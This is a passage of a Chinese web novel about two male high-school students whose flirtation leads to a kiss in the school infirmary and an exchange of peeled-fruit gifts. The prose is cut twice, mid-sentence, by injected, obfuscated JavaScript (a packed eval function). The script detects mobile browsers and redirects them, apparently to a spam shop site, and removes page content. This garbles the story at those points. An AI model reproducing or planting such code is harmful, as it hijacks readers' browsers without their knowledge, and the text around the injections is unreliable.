“林宇舟,坐好了。”她敲了敲林宇舟的课桌,“陈文脸上又没有答案,要看,看我,或者看你的试卷。”说着,她用鞋尖精准地轻踢了一下男生伸到过道的脚,“把脚收回去,像什么样子。” 林宇舟脸上闪过一丝尴尬,讪讪地将他的大长腿收回课桌下,上半身瞬间挺得笔直,那僵硬的姿势,活像工地上一根焊直了的钢管。 熊丽的视线落回陈温身上。见老师看过来,陈温立刻停下动作,慌忙中竟冒出一句:“老师,我叫陈温。” 这句莫名其妙的澄清成了点睛之笔,瞬间点燃了全班的笑点。 “差不多,都差不多。”熊丽浑不在意地摆摆手,在他肩上一拍,“去,跟沈泽许看一张。” 陈温心里乐开了花,他早就想这么干了!此刻得到“官方许可”,他立刻拎起椅子,“唰”地挪到沈泽许旁边,一坐下就冲对方扬起眉毛,笑得像只得逞的小狐狸。 沈泽许早已看穿一切,却故意不作声,仿佛就等着他主动投怀送抱。 面对陈温的坏笑,他只是纵容地回敬了一个挑眉,默默将试卷大半江山都让了出去。 熊丽转身面向黑板,按部就班地讲解试卷。这是她一贯的风格,从头讲到尾,节奏分明,最后总能精准地剩下十分钟用来听写。 非常神奇。 陈温撑着脑袋,目光落在沈泽许的试卷上——第一面布满了鲜红的对钩,整齐划一,像国王慷慨赐予勇者的勋章,宣告着一场完美的胜利,特别气派。 他不无羡慕地咂咂嘴:这家伙英语好就算了,口语还那么溜,而自己…… 哎算了,说多了都是泪。 好在有沈泽许这个“私人家教”,他如今也能稳稳考个及格以上,偶尔语感好时,还能摸到125的边儿。 这份来之不易的进步,是他过去不敢想象的。 教室里安静得出奇,唯有熊丽的声音滔滔不绝,成为这片空间的绝对主宰。 陈温虽然手头没有试卷,但对自己错在哪儿还有些模糊的印象。 眼看老师还没讲到相关部分,他的思绪便不由得飘忽起来。 他先是下意识地瞟了眼熊丽巡视到了哪一组,随后,目光便不受控制地、悄悄地落回了身旁的沈泽许身上。 别误会,就是……就是好奇他正在干什么。 临近期末,班里的状态大致分成了两派。 一部分同学因熬夜复习而睡眠不足,上午的课对他们而言无异于一场与困意的硬仗,往往要到下午才勉强找回状态。 另一些同学则显得更为游刃有余,他们保持着正常作息,在课堂上精打细算地利用每一分钟:时而低头刷题,时而抬头听讲,像经验丰富的猎人,只在关键知识点出现时才全力捕捉。 陈温本是“熬夜党”的潜在成员,可惜被沈泽许早早扼杀在摇篮里。 而沈泽许自己,就是个能一心二用的“神仙”——边刷题边做笔记,两不耽误。 当然,这种高阶技能不适合基础薄弱者,一个分神就会跟不上节奏,所以他从不鼓励陈温效仿,始终引导他采用更踏实的学习路径。 等待讲解的时间是漫长又无聊的,眼看熊丽还没讲到自己的错题,陈温闲得有些百无聊赖,一个调皮的“鬼点子”悄然冒了出来。 说干就干。 他面上依旧是一副认真听讲的模样,目光老实巴交地追随着老师,仿佛全神贯注。 然而,课桌下的手却开始不老实,悄无声息地挪到沈泽许正在刷题的右手边。 陈温伸出小指,不动声色地勾住沈泽许的小指,轻轻拉出来,摆成一个拉钩的姿势,成功让沈泽许的笔停了下来。 沈泽许微微侧过头,投来一道疑惑的目光,小声说:“怎么了?” 陈温不回答,只是对他绽开一个无辜又乖巧的笑容,仿佛在说:只是想和你拉勾,不可以吗? 令陈温没想到的是,沈泽许就盯着他看了两秒,随即默不作声地换成了左手执笔,笔下的字迹依旧流畅。 这都可以?!也太犯规了…… 小小的恶作剧落了空,陈温这下没辙了,只好重新撑着头,保持这个动作,假装听课。 可安静了没几分钟,那颗想要捣乱的心又开始蠢蠢欲动。 陈温轻轻晃了晃与沈泽许勾着的小指。沈泽许停下笔,无奈地叹了口气:“又怎么了?” “有正事!”陈温一本正经地深吸一口气,“你靠近点,我跟你说。” “哦?”沈泽许眯起眼睛,虽觉疑惑,身体还是顺从地倾过去一些。 陈温却不满道:“再近点,真是正事。” 沈泽许沉默了。他整个人都快歪成比萨斜塔了……两人距离本来就很近了,这还不够吗? “把腿挪过来点,坐近些。”陈温得寸进尺地命令道。 沈泽许依言照做,刚将一条腿挪近,陈温便瞅准时机,猛地抬起自己的腿,不由分说地架在了他移过来的那条大腿上。 小腿内侧瞬间传来对方校服裤略带粗粝的触感,和底下结实的腿温。两人腿部的线条在课桌下紧密相贴,形成一个隐秘又亲昵的姿势。 陈温得意洋洋地看向沈泽许,眼睛亮晶晶的,还冲他挑了挑眉,架在他腿上的那只脚也跟着轻轻晃了晃,满是挑衅和炫耀。 沈泽许被这接连的直球打得有些发懵,只觉一股热意猛地涌上鼻腔。他下意识迅速用手背一挡,指尖立刻触及些许温热的湿意。 男生呼吸一滞,狼狈地偏开头,声音有些发紧:“别玩了……好好听课。” 陈温立刻把腿收了回来,心里顿时七上八下。 完了,沈泽许不会是生气了吧?不可能吧……难道自己刚才玩脱了? 林宇舟百无聊赖地转着笔,肚子饿得咕咕叫:怎么还不放学?打完球简直前胸贴后背了……等会儿是去吃一食堂的水煮菜,还是红茶馆的车仔面?鲜奶吧的关东煮好像也不错,好久没尝了。对了,得问问沈哥他们吃什么。 他偷偷瞄了一眼讲台,见熊丽在板书没注意这边。 林宇舟鬼鬼祟祟地回头,正准备发出吃货的邀请,结果“沈”字刚出口,就一眼撞见沈泽许捂着鼻子的诡异造型。 察觉到有人转过来看他后,沈泽许下意识抬起眼——指缝间竟隐约透着血色! 林宇舟吓得差点跳起来:我靠,是血?!谁?!谁把我沈哥打了!哪个不长眼的。 “沈哥你怎么了?谁打你了!怎么都流鼻血了!”他一时激动忘了控制音量,原本只想悄悄问的话,瞬间传遍了安静的教室。 这石破天惊的一嗓子,不去当人工大喇叭可惜了。 平静的水面投下一颗石子,引得昏昏欲睡的同学们传来一阵窃笑,教室里的困倦气氛顿时驱散了不少。 熊丽闻言停下板书,转过身,相较于学生们的激动,她显得十分淡定:“应该是天气太干燥了,没事。沈泽许,把头抬起来。陈文,你陪他去医务室处理一下。” 陈温一听沈泽许流鼻血,心头一紧,全部的注意力都放在了对方身上,根本无暇顾及老师是否叫错了名字。 他立刻起身,扶着沈泽许快步离开了教室。 到达医务室内,陈温脑子还有点懵。 完了,玩脱了……这下怎么办…… 校医用棉签沾去沈泽许脸上的血迹,仔细看了看,松了口气。“没什么大事,就是天干上火,毛细血管破了。”她把棉签扔进垃圾桶,转身到外面的洗手池洗手。 屋里静得吓人。 陈温靠在单人床边的墙上,一只手无意识地抠着另一只胳膊,眼神飘忽,就是不敢往沈泽许那边看。 沈泽许没老老实实坐着。 他刚站起身,想朝陈温走过去,校医就推门回来了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171982|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一见他站着,立刻不满地“啧”了一声:“让你别动,怎么就是不听话?坐回去!” “……” 沈泽许看她一眼,默默坐回床边。 校医拿起桌上的手机看了眼时间——离下课铃响还有十分钟,快到晚饭的点儿了。 “我等一下就回来,去食堂拿个盒饭。”她拿起饭卡,走到门口又特意回头,指着沈泽许强调,“你,保持姿势,不许再乱动了!再待个5分钟就能走了。唉,那个带他过来的同学,帮我盯着他啊。” 说完,门“咔哒”一声轻响,医务室里终于只剩下他们两个人。 “那个……”陈温憋了半天,只冒出这么一句。 “我真不是故意的……”他小声辩解,底气不足,“我也不知道你怎么就……流鼻血了。” 沈泽许没回话,蓦地起身,手臂一展,将床周的帘子彻底拉合。 光线微暗,空间瞬间变得绝对私密。 陈温的心一下子提到了嗓子眼:这、这是要干什么?光天化日的…… 不等他多想,沈泽许已转身,一步步朝他逼近。距离被压缩至极限,直到陈温能数清他低垂的眼睫。 男生低哑的嗓音裹着热气,直往他耳蜗里钻,酥麻感瞬间窜遍全身:“能解释一下今天小温同学怎么了吗?” “我……我就是无聊,行了吧!”陈温梗着脖子,开始倒打一耙,“再说了,你要站在我的角度想想,你要是无聊了,难道不想捉弄一下你的同桌吗?” 他像是突然抓住了对方的把柄,底气瞬间足了,声音也扬了起来:“你平时‘欺负’我的次数还少吗?哼,只许州官放火,不许百姓点灯?你平时‘骚扰’我的时候怎么不说?” 沈泽许静默数秒,倏地俯身逼近,直至与陈温呼吸交错,平视着他:“这样够不够?我在努力理解‘小温同学’的视角了。” 过近的距离让陈温心如擂鼓,而那句刻意强调的称呼更是点燃了他的羞愤——这家伙绝对在讽刺他的身高! 陈温瞬间炸毛,一巴掌呼在沈泽许胳膊上:“滚蛋!” 沈泽许也没料到他会突然动手,被打得身形一晃,向后踉跄了半步才稳住。 “脾气见长了。”沈泽许直起腰,垂眼看着他。 陈温重重哼了一声,别开脸,摆明了不想理他。 沈泽许却不允许他逃避。两指托住他的下颌,不容置疑地将他的脸转了回来。随后,拇指的指腹精准地落在他唇上,带着温热的体温,缓慢地摩挲了一下。 “受伤的是我,”沈泽许嗓音低沉,带着点耍无赖的意味,“我是病人,小温同学非但不关心,还家暴……你说,他是不是该好好补偿我?” 陈温耳根发烫,急中生智,抬手指了指上方:“我记得没错的话,医务室有监控。” 沈泽许闻言,非但没退开,反而得逞似的低笑一声,慢条斯理地戳破他的借口:“监控在外面,我拉了帘子。” 意思就是看不到。 拇指带着灼人的温度,在他唇瓣上流连不去。陈温呼吸一滞,身体微僵,却没有丝毫后退。 这无异于最直接的邀请。 沈泽许的唇瓣先是轻柔地贴了上来,带着一丝微凉和试探。 陈温的呼吸瞬间停滞,整个世界仿佛都安静了下来,只剩下唇上那片柔软的触感和自己如擂鼓般的心跳。 像是过了一个世纪,沈泽许才轻柔地吮吸他的下唇,像是在品尝一颗珍贵的糖果。 陈温感到一阵腿软,不自觉地抓住了男生的衣襟。 这个细微的动作仿佛点燃了导火索。 沈泽许的舌尖试探地撬开他的齿关,温柔地探入。 惩罚陈温似的,把他软嫩的舌头叼出来,又含又嘬,很酸很麻,也挺舒服的…… 粘腻的水声从两人唇齿间传出,只剩下最原始的感知。 尽管回应着沈泽许的吻,陈温的耳朵却时刻竖着,捕捉着门外的任何风吹草动——主任随时都可能回来。 虽然明知这监控没有声音,但这种在禁忌边缘游走的感觉,像一只悬在头顶的靴子,让这个本该纯粹的吻,染上了几分刺激又不安的色彩。 陈温依旧没学会换气,沈泽许逐渐加深的吻于他而言,如同狂风暴雨,他这只小舟根本跟不上节奏,不安的念头慢慢抛向脑后。 他苦着一张脸,眉头微微蹙起,像条离水的鱼,徒劳地张了张嘴,最终只能发出一点细弱的呜咽,整个人都因呼吸困难而软了下来。 发现陈温快要窒息,沈泽许好笑地退开些许,抵着他的额头低喘着教学:“跟着我的节奏,慢慢呼吸。” 与此同时,他的右手非常自然地滑到陈温腿弯,轻轻将它抬起,环在了自己腰侧,继续吻着他。 在“实践出真知”的引导下,陈温总算摸到门道,也成功忘记自己刚才在想什么了。 然而,成功学会换气的喜悦,瞬间被这个突如其来的姿势击得粉碎——他的腿正以一种极其羞耻的姿势挂在沈泽许身上! 这……这像什么话! 50. 戏耍之术 陈温也不知道自己是怎么飘回教室的。 待他回过神,感官从那个隐秘的吻中逐渐抽离,就听见林宇舟正絮絮叨叨地围着沈泽许打转,活像个操心不已的老妈子,对着他嘘寒问暖——看来之前那场鼻血,是真把他给吓坏了。 “沈哥你可吓死我了!”林宇舟拍着胸口,“我连帮你打回去的脑补大戏都上演三百回合了!” 沈泽许有点难以理解他的脑回路,流鼻血怎么就一定是被人打的?他看未必。 “天气太干燥了而已,没事的。”他没什么情绪地解释。 “哎呀,早知道跟你们一起溜了!”叶萧云收拾好书包凑过来,一脸心有余悸,“熊丽这次讲试卷跟开卦一样,讲完试卷还一口气听了40个单词,这是人干的事吗?” “啊对对对!”林宇舟立刻大声附和,痛苦地抱住头,“太可怕了……居然还拖堂……救命啊。” 话音刚落,他肚子里就传来“咕噜”一声响。 “不管了,天大地大,吃饭最大!走走走,去二号食堂吃打卤面!”他一边说,一边跑到陈温旁边,揽住他的肩膀晃了晃,“别发呆了,吃饭去!” 这时他才注意到陈温的书包已经收拾妥当,疑惑地问:“还没到晚自习呢,你怎么全收拾好了?” “我晚上请假回家复习……有点事。”陈温含糊地解释。 “哦。”林宇舟也没多想,随口应了一声。 随即,两人便听到身后的沈泽许也淡然开口:“我也是。” “你俩……?”叶萧云拉长了语调,眼里带着点了然的笑意,可后半句话被林宇舟手动消音了。 “打住!再磨蹭食堂连站的位置都没了!”林宇舟虽然神经大条,但也感觉气氛微妙,果断选择“打断施法”,捂着叶萧云的嘴就把他往外推,“赶紧的,吃饭最大!” 天色转眼便暗了下来,步行街在喧嚣中苏醒。各种声音——热情的点单、利落的剁肉、酣畅的碰杯,编织成一片生活的热浪。 两个身着校服的身影穿行其间,与周遭的环境形成奇特的对比,格格不入,却又带着一种属于青春的和谐。 其中一人肩上背着一个书包,手里还提着另一个。 背上的正是陈温的书包,纯粹的黑色,款式简单,正如他选择它的初衷:耐脏,而且跟什么衣服都搭。 两人一路走到小巷尽头。这里不如前段路热闹,反而显得有些冷清,一盏坏了的路灯让光线更加昏暗。 陈温要回自己的书包,他需要到马路对面赶公交车。沈泽许家的司机还没到,而公交车还有两站就来了,时间有点赶,他必须先走。 正当他转身时,沈泽许却用手指轻轻点了点自己的脸颊,意思不言而喻。 但陈温觉得,沈泽许今天的所作所为实在有些过火。换作以前,他或许会为这种拒绝内疚上好一阵子,但现在,他不会了。 他什么也没说,转身就走,没有理会身后的人。沈泽许也没有伸手拉他,只是静静地站在原地,目送他的背影融入夜色。 陈温简直不敢相信,那家伙居然没跟上来!他都走到斑马线了哎!还是绿灯! 脚步踏出一步,几乎要踩上斑马线,他内心天人交战,最终还是败下阵来,扭头跑了回去。 沈泽许的身影依然等在原地,仿佛时间的流逝与他无关,只在看到他跑回来时,唇角才漾开一丝极淡的笑意。 男生一口气冲到他面前,跑得有些喘,温热的气息拂在沈泽许脸上。 他飞快地在对方唇角轻啄了一下,触感微凉,随即抛下一句“晚安”,便转身抢在红灯亮起前,跑过了马路。 一周转瞬即逝。 放学铃响起,陈温与沈泽许在街道尽头分开。陈温选择了步行回家——经过他这几天的观察,公交线路沿途,找不到一家能买到石榴的水果店。 街道两旁,商店的霓虹灯招牌忽明忽暗地闪烁着。与他擦肩而过的,有勾肩搭背的同学,有悠闲遛狗的居民,还有三两成群准备去吃宵夜的食客。 男生穿梭其间,心里装着那个小小的、甜蜜的计划。 走过几个路口,他终于在一片暖色的灯光下找到了目标。 陈温仔细挑了两个饱满的石榴,装在红色的塑料袋里。走出水果店,又想起什么,转身钻进旁边的超市,买了一个原本装着彩色Q|Q糖的透明玻璃罐。 回到家,天色已完全暗下。 陈温先冲了个澡,洗去一身疲惫,然后便迫不及待地开始行动。 他小心地将Q|Q糖倒在食品袋里密封好,把空罐子洗净擦干,连同那两个石榴一起,悄悄拿到了厨房。 整个过程,他心里都像揣着一只活泼的兔子,充满了激动与期待。 陈温小心翼翼地开始准备工作:先是撕净玻璃罐上所有的标签痕迹,反复冲洗,直到它通体透亮;然后拿起一个圆润的石榴,在水流下轻轻揉搓。 当小刀切入果皮,露出内部密密麻麻的果实时,他像是打开了一个宝藏。 男生始终低着头,神情专注,用指尖耐心地、甚至有些笨拙地将那些饱满的红色颗粒一一剥落。 看着它们在白瓷盘里慢慢堆成一座小山,再用清水涤荡而过,他的心中充盈着一种近乎神圣的满足感。 看着冰箱里那罐塞得满满当当的“石榴宝罐”,他这才心满意足地躺下。 结果,过于兴奋的劲儿让他像煎饼一样在床上翻来覆去,睡不着。 好不容易睡着,梦境却光怪陆离。 陈温梦见自己身处一个被泡芙包围的柔软世界,脚下像踩着云端。而他在大步流星地追逐着一个熟悉的背影,看身形极像沈泽许,可无论怎么追,那人的脸总是模糊不清。 可好不容易追上,对方一回头,竟变成了儿时记忆里在公园哭的小男孩! 他惊得一脚踏空,瞬间清醒。 这下可好,睡意全无。 陈温摸出手机,看着沈泽许的头像纠结了半天,最终还是舍不得半夜吵醒他。就这么睁眼躺着,与天花板大眼瞪小眼,直到后半夜意识才重新模糊起来。 第二天醒来,陈温成功收获了两圈熊猫同款的黑眼圈。 整个上午,他都有些心神不宁。 趁着课间,他第三次小心翼翼地拉开书包拉链,确认那份精心准备的惊喜是否完好。 陈温自以为动作隐蔽,却不知这一切早已被身旁的沈泽许尽收眼底。 “陈同学,到底是什么东西,让你一上午看了又看?”沈泽许的声音忽然在耳畔响起,带着一丝不易察觉的好奇,“连我也要保密吗?” 陈温被吓了一跳,下意识拉上书包拉链,还欲盖弥彰地用手挡了一下,强作镇定道:“没有啊!” 沈泽许挑了挑眉,没多问,随手翻开桌上的一本书看了起来。 陈温坐好后,百无聊赖地趴在桌上,心里开始天人交战:是现在就把石榴给他,还是等到体育课再给?现在给,就能立刻看到他惊喜的表情;可体育课给,似乎更有仪式感……他有点烦躁地抓了抓头发。 过了一会儿,他忽然严肃地喊了一声:“沈泽许。” 沈泽许偏过头看他,用眼神发出询问:“嗯?” 陈温脸上绽开一个笑容,带着点恶作剧得逞的狡黠:“没事,就想叫叫你。” 沈泽许眼底闪过一丝无奈,纵容地应道:“嗯,好。” 成功戏耍了对方,陈温心满意足地笑了笑。他将头枕在臂弯里,侧着脸看沈泽许。 那人察觉到他直白的目光,抬眸瞥了他一眼,又不动声色地别过脸,继续看手里那本满是英文的书。 陈温也懒得去翻译书上写了什么,反正沈泽许看的书,总是些他不太感兴趣的内容。 他的手指冻得有些冰凉,几乎快要失去知觉了。 学校规定,只要气温不低于零度,就必须把校服外套穿在最外面,里面是短袖校服,毛衣可自行添加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171983|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不这样做被纪检部的发现要扣分的。 但这样层层叠叠,整个人会被裹得像只笨重的粽子,行动非常不便。陈温不喜欢这种束缚,所以只穿了个半暖就来了学校。 手揣在兜里也暖和不起来,他正懊恼着,脑子里却突然灵光一闪——嘿,有个现成的“暖炉”啊! “沈泽许。”陈温维持着侧趴的姿势,懒洋洋地喊了一声。 沈泽许刚把目光从书上移开,就听陈温神秘兮兮地说:“你靠过来点,有正经事。” 明知这话可信度不高,沈泽许还是依言凑近了些。他刚一靠近,陈温就猛地坐直了身子,一副真有要事的样子。 就在距离拉近的瞬间,陈温突然伸出手,以迅雷不及掩耳之势将冰凉的手探进了沈泽许的后颈。 衣领下是一个截然不同的温暖世界,炽热的体温甚至让陈温冻僵的指尖产生了一丝轻微的刺痛感。 而沈泽许则被这突如其来的袭击冰得浑身一颤,很明显地皱了下眉。 沈泽许一把攥住他冰凉的手腕,将那使坏的手抽了出来,紧紧包裹在自己温热的掌心里,力道带着点不容挣脱的意味。 他什么也没说,只是用力搓了搓那双冰冷的手,直到皮肤泛起暖意,才小心翼翼地将其揣进自己的外套口袋,那动作轻柔得像是在保护什么需要取暖的小动物。 陈温一时没反应过来,待意识到这个举动在教室里有多么暧昧、多么容易引人注目时,他立刻想要抽回手。 可他没能抽动。沈泽许的手在口袋里无声地收紧了。挣扎无果,陈温只好红着耳朵老实下来。 察觉到他的顺从,沈泽许这才稍稍松了力道,却又顺势将他另一只手也捞过来,一同握住。他的拇指还在陈温的手背上无意识地轻轻摩挲着,带来一阵轻痒的触感。 “会被发现的……”陈温压低声音,做贼似的嘟囔了一句。 “看那边。”沈泽许朝左侧微微扬了扬下巴。 陈温顺着他的视线望去,只见林宇舟正死死攥着叶萧云的手,两人扭作一团。 “手这么冰就敢往你爸爸脖子里塞?想‘死’是不是?”林宇舟笑骂道。 “哎哎哎!轻点轻点,松手!放开我!”叶萧云龇牙咧嘴地试图挣脱。 “不行,得给你捂热乎了,不然你又来偷袭我。再捂会儿……” 陈温默默收回视线,心里顿时平衡了不少。 ……行吧,那就再握一会儿。 准备体育课时,陈温偷偷脱了件内搭,把玻璃瓶裹了个严严实实。 操场上毫无遮挡,凉飕飕的风直往脸上扑,陈温被冻得有些瑟瑟发抖,但他实在想不出更好的办法来隐藏这个瓶子了。 沈泽许看他穿得单薄,皱眉问道:“不冷吗?” “还好,不冷。”陈温言不由衷地回答,牙齿都有些打颤。 这话倒也不全是逞强。虽然风大,但今天太阳格外慷慨,阳光照在身上暖融融的,不像在室内那样是种钻入骨髓的阴冷。 为了那份惊喜,这点冷,他还能忍! 热身活动一结束,业哥大手一挥,让大家自由活动。 作为本学期的“收官之战”,林宇舟他们铁打不动地要去打球,早就备好了篮球。 果然,人数又没凑够,他们熟门熟路地拽走了沈泽许。象征性地问了问陈温,得知他确实不会后,便从善如流地找了替补。 这局面,正合陈温的心意。 视线穿过奔跑的人群,总能精准地锁定那个最耀眼的存在。沈泽许每一个传球、每一次突破都带着不容置疑的掌控力。 当他高高跃起,将球稳稳送入篮筐时,陈温感觉自己的心跳也跟着那篮球划出的弧线,重重地落了一下。 等他们打完休息一会,陈温看准时机,殷勤地凑上前,拉着沈泽许的袖口就往人少的地方走。 沈泽许什么也没问,只是顺从而信赖地跟着他,任由那点微小的力道牵引着自己。 51. 矫情 把人拉到一个无人的角落,陈温就把双手背在身后,藏得严严实实。 沈泽许见他一副鬼鬼祟祟的样子,便好整以暇地抱臂看着他,手上拿着还没喝上一口水的保温杯。 “你把眼睛闭上,”陈温一脸神秘,“给你个惊喜。” “什么惊喜?”沈泽许挑眉问道,眼底带着一丝探究的笑意。 “别问那么多,闭上嘛!”陈温催促道,语气里带着点撒娇的意味。 沈泽许不再多问,依言闭上了眼睛。 陈温立刻屏住呼吸,迅速将藏在身后的玻璃罐捧出来,轻轻放在他手中。 “睁眼吧。” 沈泽许睁开眼,低头看去。当那满满一罐剥好的、如同集合了所有晚霞颜色的石榴籽映入眼帘时,他脸上掠过一丝清晰的讶异。 他沉默地看了好几秒,才抬起眼,目光深邃地望向陈温,声音比平时更低沉: “……剥了多久?” “也没……多久。”陈温摸了摸鼻子,视线飘向别处,没好意思直视对方。 “谢谢,我很喜欢。”沈泽许接过玻璃罐,举到阳光下。 通透的罐子里,石榴籽像被点亮的红宝石,熠熠生辉,却比任何宝石都更珍贵。 “嘻嘻,不用跟我说‘谢谢’,太生疏了。”陈温笑起来,眼睛弯弯的,“要感谢就得拿出点诚意。” “比如?”沈泽许顺着他的话问。 “亲我一下。”陈温指尖点了点自己的脸颊。这场景似曾相识,只是主动索要的人调换了过来。 “好。” 沈泽许从善如流地俯身靠近。陈温以为他会亲在脸颊,却感受到一个轻柔的触感,精准地落在了他眼下的那颗小痣上。 因为靠得太近,他不由自主地闭上了眼睛。 紧接着,是温暖的、柔软的嘴唇长久地贴在那里。 “行了行了,够了……”陈温被这过于珍视的亲吻弄得耳根发烫,睁开另一只没被“封印”的眼睛,小声嘟囔着推他。 事情办完,两人踏上归途。 陈温心情大好,步履轻快地走在前面,周身都沐浴在惬意的阳光里。沈泽许则不紧不慢地跟在他身后,保持着一步之遥,看着他的身影。 眼看就要走回操场,陈温的肩膀忽然被人拍了两下。他下意识转头,身后却空无一人。等疑惑地转回头时,眼前赫然多了一个玻璃瓶——和他刚刚送出的那个几乎一模一样。 但里面装的不是石榴,而是颗颗饱满、晶莹剔透的绿色果肉,是他最喜欢吃的阳光葡萄,而且每一颗都细心地剥好了皮。 陈温惊得眼睛瞪得溜圆,嘴巴张得能塞进一个鹌鹑蛋。 “这、这是……?” “你不是说喜欢吃葡萄吗?”沈泽许不知何时已绕到他面前,举着那个瓶子,“阳光玫瑰,合你胃口吗?” “你什么时候……”陈温彻底懵了,脑子乱成一团浆糊。沈泽许怎么也搞这一套?这东西刚才藏在哪儿了?他难道会魔法吗?! “尝尝看?我妈挑的,很甜。”沈泽许说着,又从口袋里变戏法似的掏出一根牙签递给他。 “好。”陈温接过牙签,有些费力地拔开紧塞的瓶盖,用牙签插起一颗葡萄送进嘴里。 清甜的汁水在口中迸开,果然很甜,那股甜意仿佛顺着喉咙一直蔓延到了全身。 他立马又戳了一颗,笑嘻嘻地送到沈泽许嘴边:“来,你也吃一个。” 沈泽许先是下意识地微微后仰,随即还是顺从地张口,将那颗葡萄含进嘴里。 “哎,沈哥,你们可算回来了!人都凑不齐,球都没得打了。”林宇舟一见走近的两人就大声抱怨。 他正和李欣桐打羽毛球,因为这一分心,羽毛球不偏不倚,“啪”一下轻敲在他头顶。 “啊——” 一声夸张的惨叫,林宇舟应声倒地。在一旁观战的李清依见状,上前关切地问道:“舟哥,你没事吧?”说着便伸手去扶他。 “有没有搞错!我根本还没用力好吗?别装了大哥。”李欣桐抱着球拍,又好气又好笑,忍住想翻白眼的冲动。 “这……”李清依看着赖在地上的林宇舟,有些犹豫。 “哎哟,疼死我了,我的头啊……”林宇舟仿佛疼得受不了似的,又哀嚎了一声。 这招对善良的李清依果然很管用,她凑近了些,仔细去查看他的头顶。 林宇舟也十分配合地低下头,可他头发浓密,李清依实在看不出个所以然,只好说:“还是去医务室看看吧?” “姐,他骗你的,别理他。”李欣桐在一旁冷静地拆台。 “可是……这里好像真的有点肿起来了……”李清依指着某一处,语气担忧。 陈温和沈泽许对视一眼,对林宇舟的表演心知肚明。 叶萧云不知从哪儿冒了出来,目光一下子就被陈温和沈泽许手里一模一样的玻璃瓶吸引了。沈泽许那瓶还没开封,陈温却已经吃掉小半了。 “咦?这什么好东西?”叶萧云好奇地指着瓶子。 “呃……”陈温卡壳了,眼神飘忽,“就……鲜果吧买的。”他硬着头皮编了个理由。 鲜果吧,顾名思义就是卖水果捞的地方,说是从那儿买来的,应该……没问题吧?这个急中生智的理由,逻辑上似乎完全说得通。 “什么?!鲜果吧出新品了!?”叶萧云一听,吃货雷达立刻作响,顿时两眼放光,蠢蠢欲动地就要往鲜果吧方向冲。 “叶萧云,我们带舟哥去趟医务室,先走啦!”李清依朝着他们的方向喊道。 “等等我!别丢下我!”叶萧云一听,立马就要跟上去。 “我倒要看看你能装到什么时候。”李欣桐瞥了一眼还在那“楚楚可怜”的林宇舟,利落地收拾着羽毛球拍。 “嘶——”林宇舟感觉后背一凉,这不仅仅是感觉,更像是赤裸裸的威胁…… “那个……我突然觉得头没那么疼了,要不……就不去了吧?”他瞬间打起退堂鼓。 “没事的,还是去擦点药酒保险一点。”李清依好心劝道,拉着他的胳膊就要走。 “停停停!真不用了!”林宇舟赶紧求饶,这场戏眼看是演不下去了。 “没事的。” “有事!” …… 那两人越走越远,李欣桐和叶萧云犹豫片刻,还是跟了上去。 下课铃骤然打响,沉寂的校园瞬间沸腾,恢复了往日的生机。 陈温和沈泽许先行返回教室。上楼梯时,竟又冤家路窄地遇见了杨子龙。那人一见两人,依旧视他们如病毒。眉头紧锁,恨不得直接撞开他们走过去。 陈温心下疑惑,但已不像上周那样试图打招呼。 狭窄的楼梯口难容三人并行,杨子龙要下楼,陈温便微微侧身,主动让出空间。 然而,就在杨子龙与他擦肩而过的瞬间,或许是拥挤,或许是别的什么原因,陈温重心不稳,猛地向后倒去! 沈泽许瞳孔骤缩,手中两个瓶子被他胡乱攥在一起,空出的手猛地抓向陈温—— 时间仿佛被拉长,他的指尖与陈温的衣角擦过,只捕捉到一片虚空……就那么眼睁睁地,看着他在自己面前跌落,就差那么一点点…… 杨子龙惊得后退半步,脱口而出:“你……你别想讹我!我连衣角都没挨着你!” 沈泽许没能拉住人,此刻也无暇他顾。他皱眉冷冷地扫了杨子龙一眼,便迅速冲下楼梯。他将两个玻璃瓶随意放在一旁,一把将陈温抱进怀里,感受到怀里的人,或者说他自己,身体在明显地剧烈颤抖。 “没事吧?”他的声音带着微乎其微的紧绷。 “嘻嘻没事,没站稳。”陈温勉强扯出一个笑容,他刚才摔倒时下意识护住了头部,只是膝盖处传来一阵尖锐的疼痛…… 沈泽许的目光也立刻锁定了那处伤口,看着鲜血从擦破的皮肉中渗出,他的眼神瞬间沉了下去。 “去医务室。”他当机立断。 不……还是直接去医院检查一下更稳妥。 陈温摔下去的声响实在太大,走廊上的同学纷纷探出头来围观。他们一来就看到杨子龙僵在楼梯中央,而转角处,两个男生叠坐在一起,其中一个明显是摔倒了。 这场景不由得让人浮想联翩,细碎的议论声顿时弥漫开来。 杨子龙眼见人越聚越多,那些指指点点的目光让他如芒在背。 他握紧拳头,冲下楼时,恶狠狠地对着楼梯口的两人骂了句“神经病”,就头也不回地跑了。 沈泽许根本无心理会他。他一把将陈温打横抱了起来,突如其来的悬空感让陈温顿感羞耻,开始拼命挣扎。 “别动。”沈泽许低声警告,见他还不安分,便抬手不轻不重地在他臀侧拍了一下。 陈温身体一僵,瞬间顺从了,整张脸都埋进沈泽许的颈窝,连耳根都红透了……。 医务室里,林宇舟剧烈地扭动着身体,试图挣脱:“都说了我没事!真不用管我!” “来都来了,就让我检查一下,你别乱动。”医务室主任一手拿着药酒,另一只手试图按住这个活蹦乱跳的“伤员”。 叶萧云和李欣桐在一旁看得津津有味,毫不掩饰脸上的幸灾乐祸,笑得肩膀直抖。 